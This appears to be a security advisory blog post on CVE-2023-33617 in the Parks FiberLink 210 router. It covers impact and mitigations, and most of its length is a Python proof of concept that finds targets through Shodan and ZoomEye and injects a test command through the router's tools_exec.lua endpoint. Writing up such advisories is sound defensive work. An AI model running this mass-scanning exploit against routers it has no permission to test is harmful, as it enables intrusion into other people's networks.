Introduction

The Parks FiberLink 210 router, commonly used in various networks, has recently been found to have a critical vulnerability, known as CVE-2023-33617. This vulnerability allows an authenticated user to execute arbitrary commands on the affected router. This poses a significant security risk and requires immediate attention from router owners and administrators.

Impact

The impact of CVE-2023-33617 on the average internet user is substantial. If an attacker successfully exploits this vulnerability, they can gain unauthorized access to the router and potentially compromise the entire network connected to it. This can lead to various security risks, including:

  • Unauthorized access: Attackers can take control of the router, allowing them to manipulate network settings and potentially gain access to sensitive information.

  • Data breaches: By compromising the router, attackers may gain access to personal data, login credentials, or sensitive business information.

  • Network manipulation: Exploiting this vulnerability gives attackers the ability to modify network configurations, redirect traffic to malicious destinations, or launch further attacks within the network.

  • Service disruption: Attackers may exploit the vulnerability to disrupt network services, causing downtime or rendering network-connected devices inaccessible.

Exploit POC

import os
import sys
import requests
import argparse
import urllib.parse
from shodan import Shodan
from rich.table import Table
from zoomeye.sdk import ZoomEye
from rich.console import Console
from rich.progress import Progress
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

The code imports required modules and libraries for the exploit, including the requests library for making HTTP requests, argparse for parsing command-line arguments, and shodan and zoomeye modules for using their APIs to search for vulnerable targets.

class Exploiter:
    def __init__(self, args):
        self.args = args
        self.output = args.output if args.output else 'vulnerable.txt'
        self.console = Console()
        self.CMD = 'echo "VULNERABLE"'
        self.shodan = Shodan(os.environ.get("SHODAN_API_KEY")) if args.shodan else None
        self.zoomeye = ZoomEye(api_key=os.environ.get("ZOOMEYE_API_KEY")) if args.zoomeye else None
        self.targets = []
        self.vulnerable_hosts = []
        self.exploitation_results = {}
        self.executor = ThreadPoolExecutor(max_workers=args.threads)

The Exploiter class is initialized, taking command-line arguments as input. It sets up various attributes such as the output file name, console object, command to be executed on the vulnerable host, API keys for Shodan and ZoomEye (if provided), and containers for storing targets, vulnerable hosts, and exploitation results.

def run(self):
        if self.args.shodan:
            self.generate_targets_shodan()
        if self.args.zoomeye:    
            self.generate_targets_zoomeye()
        if self.args.target:
            self.targets.append(self.args.target)
                
        with ThreadPoolExecutor(max_workers=self.args.threads) as executor: 
            futures = {executor.submit(self.exploit_target, target) for target in self.targets}
            for future in as_completed(futures):
                try:
                    future.result()  
                except Exception as e:
                    self.console.print(f"Error occurred: {e}")
        
        self.console.print("Exploitation complete. Vulnerable hosts:")
        self.console.print(f"{self.vulnerable_hosts}")

The run function initiates the exploit process. It checks if Shodan or ZoomEye search is requested, adds the provided target (if any) to the target list, and uses a thread pool executor to exploit each target. After completion, it displays the list of vulnerable hosts.

def exploit_target(self, target):
        try:
            session = requests.Session()
            login_data = {
                'username': self.args.username,
                'password': self.args.password,
                'submit': 'Login'
            }
            response = session.post(target+"/login.cgi", data=login_data, verify=False, timeout=5)
            
            if response.status_code == 200 and "Location: /status.cgi" in response.text:
                self.console.print(f"Authenticated to target: {target}")
                response = session.get(target+"/status.cgi", verify=False, timeout=5)
                
                if "Version" in response.text and "Firmware" in response.text:
                    if "V2.1.14_X000" in response.text:
                        self.console.print(f"Target is running vulnerable firmware: {target}")
                        response = session.get(target+f"/tools_exec.lua?cmd={urllib.parse.quote(self.CMD)}", verify=False, timeout=5)
                        
                        if response.status_code == 200 and "VULNERABLE" in response.text:
                            self.console.print(f"Exploitation successful: {target}")
                            self.vulnerable_hosts.append(target)
                    else:
                        self.console.print(f"Target is not running vulnerable firmware: {target}")
                else:
                    self.console.print(f"Failed to determine firmware version: {target}")
            else:
                self.console.print(f"Authentication failed: {target}")
        except Exception as e:
            self.console.print(f"Error occurred: {e}")

The exploit_target function is responsible for exploiting a specific target. It starts by attempting to authenticate with the target using the provided username and password. If the authentication is successful, it checks if the target is running the vulnerable firmware version. If so, it sends a specially crafted payload to execute the command on the target. If the exploit is successful, the target is marked as vulnerable.

Mitigation

To protect against CVE-2023-33617, follow these mitigation measures:

  • Update firmware: Ensure that your Parks FiberLink 210 router is running the latest firmware version provided by the manufacturer. Regularly check for updates and apply them promptly to address known vulnerabilities.

  • Change default credentials: Modify the default username and password of your router's administration interface. Choose strong, unique passwords that are not easily guessable.

  • Network segmentation: Implement network segmentation to isolate critical systems from potentially compromised devices. This helps contain any potential attacks and limit the impact on the overall network.

  • Disable unnecessary services: Disable any unused services or features on your router to reduce the attack surface. Only enable the services necessary for essential functionality.

  • Network monitoring: Implement network monitoring solutions to detect and alert on suspicious activities or unauthorized access attempts. This helps identify potential attacks and enables timely response.

Stay vigilant and informed about security updates and best practices to protect your network and devices.

References

  1. National Vulnerability Database (NVD)

  2. GitHub - nomi-sec/PoC-in-GitHub